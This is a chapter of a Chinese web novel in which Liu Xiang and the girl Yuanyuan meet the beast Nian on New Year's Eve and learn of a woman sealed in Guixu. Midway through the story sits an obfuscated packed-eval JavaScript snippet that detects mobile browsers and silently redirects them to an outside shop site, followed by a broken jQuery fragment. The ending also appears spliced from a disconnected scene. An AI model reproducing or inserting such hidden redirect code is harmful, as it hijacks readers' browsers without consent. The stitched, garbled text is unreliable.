除夕夜。
墨阳市所有人都回家了。
街上空了。路灯亮着，但没人走。家家户户的窗户里透出暖光，有人在看电视，有人在包饺子，有人在对着手机视频笑。
医馆里，柳相在喝酒。
不是「醉生梦死」——那瓶酒他倒掉过一次，没再买。
是普通的白酒。二锅头。十块钱一瓶，辣，烧喉咙，但喝完之后，手指会暖一点。
他的手指，一到冬天就冷。
不是因为血液循环不好。是因为——「铁与铜」的封印，在冬天会变得活跃。像一种自我保护机制：天气越冷，封印越紧，防止他的力量外泄。
但封印越紧，他的手指就越冷。
圆圆说过：「阿相，你喝完酒手指会暖一点，但你的心还是冷的。」
那时候柳相没回答。
现在，他一个人坐在柜台后面，倒了一杯酒，没喝。
---
「阿相。」
圆圆从里屋出来。
她换了一件新衣服——红色的棉袄，是柳相上周带她去商场买的。她自己挑的，说「过年要穿红的，红的代表好运」。
但她的脸上，没有过年的笑。
「你怎么不吃饺子？」柳相问。
「不饿。」
「那你想吃什么？」
「不想吃。」
柳相放下酒杯。
「圆圆，你有事瞒我。」
圆圆没说话。
她走到门口，把门打开了。
外面很冷。雪又开始下了，大片大片的，像扯碎的棉花。
「阿相，你听。」
柳相听了一下。
没有声音。
然后——
有了。
很远的、很低沉的声音。像鼓，又像心跳。每一下都让地面的雪震一下。
「什么声音？」
「年。」圆圆说，「它来了。」
---
柳相站起来。
他走到门口，和圆圆并肩站着。
雪在下。街上空无一人。
但柳相看到了——
街的尽头，有一个影子。
很大。
比街灯还高，比路边的树还大。看不清形状，只能看到一团黑，在雪里移动，很慢，但每一步都让地面震一下。
「圆圆，你进去。」
「不。」
「进去。」
「阿相，我知道你要说什么。」圆圆说，「但这次，你不用保护我。我——」
她停了一下。
「我可以做一点事。」
---
影子越来越近了。
柳相终于看清了——
年。
不是他在画里、在书里看到的那种「年」。没有角，没有鳞，没有獠牙。
就是一团黑。
一团会动的、有形状的、但看不清脸的黑。
它在街的尽头停下了。
然后——
黑里，亮起了两只眼睛。
金色的。
和阿湖的眼睛，一样的颜色。
「柳相。」
声音从黑里传出来。不是从嘴巴传出来的——那团黑没有嘴巴。声音是从整个身体里传出来的，很低沉，像地底下的鼓。
「三百年了。」年说，「你在人间躲了三百年。躲够了吗？」
柳相没说话。
「归墟的封印，快破了。」年说，「她还在里面。你在外面。你觉得，她出来之后，第一件事是找你，还是杀你？」
「她不会杀我。」
「你怎么知道？」年的声音里，有一种很奇怪的情绪——不是恨，不是怒，是「我知道一件事，但你不知道」的那种，「你忘了她。她在那里面，等了三百年。等一个已经忘了她的人——你觉得，这是爱，还是恨？」
柳相的手指，在抖。
不是因为冷。
是因为——年的话，戳到了一个他自己不敢想的问题。
---
圆圆突然站出来了。
她从柳相身后走出来，站到了柳相和年之间。
「你别说他。」
年的眼睛，转向了圆圆。
金色的光，照在圆圆脸上。
圆圆的脸，很白。不是那种健康的白，是——透明的白。像瓷器，像雪，像某种不应该出现在这个世界上的东西。
「你。」年说，「你还在装。」
「我没有装。」圆圆说。
「你明明可以回去。你明明可以打开归墟的门，把她放出来。但你没有。你在等什么？等他自己想起来？」
圆圆没说话。
「他永远想不起来。」年说，「他的记忆已经被『铁与铜』封住了。封印不解除，他就永远想不起来。封印解除，他就会——」
「我都知道。」圆圆说，声音在抖，「但我不让他冒这个险。」
年看着她。
很久。
然后，那团黑，退了一步。
「你和她，真像。」年说，「她当年，也是这么说的。『我不让他冒这个险。』然后她把自己封进了归墟。」
圆圆的眼睛，红了。
「你……你认识她？」
「我认识她的时候，她还不是『她』。」年说，「那时候，她还在天上。」
柳相愣住了。
「她是谁？」
「年。」圆圆打断了它，「你别说。」
年看着圆圆。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835053|211403||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
然后，它笑了。
那团黑里，传出了笑声。不是嘲笑，不是冷笑。是一种很旧的、很疲惫的笑。
「好。我不说。」年说，「但除夕夜过后，神使会来。他们不会像我这么好说话。他们要的不是封印，是你——」
它看着圆圆。
「——和归墟里面的她。」
然后，年转身，走进了雪里。
黑影越来越小，最后消失了。
街上只剩柳相和圆圆，站在雪里。
---
「圆圆。」
柳相的声音，很轻。
「嗯？」
「年说的『她』——精卫？」
圆圆没回答。
她低着头，看着地上的雪。
雪在积，已经到脚踝了。
「圆圆。」柳相伸手，按住了她的肩膀，「你到底是谁？」
圆圆抬起头。
她的眼睛，很红。但不是哭过的红——是某种力量在涌动的红。
「阿相。」她说，「我现在不能说。但总有一天，我会告诉你。」
「那一天什么时候到？」
「除夕夜之后。」圆圆说，「神使来的时候。」
柳相看着她。
这个小女孩，他捡回来的小女孩，卖萌、吃糖、扫地、偶尔说一句很通透的话的小女孩——
她身上，有什么东西，是他一直没看到的。
不是力量。不是身份。
是——孤独。
和他在镜子里看到的自己，一样的孤独。
---
那年除夕，柳相没有吃饺子。
他坐在柜台后面，看着门外的雪。
圆圆回里屋了。门关着，但柳相听到她在里面——
在哭。
没有声音。但柳相知道她在哭。
因为——雪在窗户外面，结成了冰花。
冰花的花瓣，是透明的。
但那天晚上，每一片冰花的花瓣，都是红色的。
像血。
像泪。
像三百年前，那个人，在他面前倒下的时候，衣服上的红色。
她的手，在抖。
比平时抖得厉害。
「圆圆。」
「嗯？」
「你是不是……比我想象的，更厉害？」
圆圆嚼着糖，没说话。
然后她笑了一下。
不是卖萌的笑。
是一种很老的、很疲惫的笑。
和年刚才的笑——像从一个地方学来的。
「阿相。」她说，「我不是『更厉害』。我是『更old』。」
「什么意思？」
「意思是——我比你还活得久。」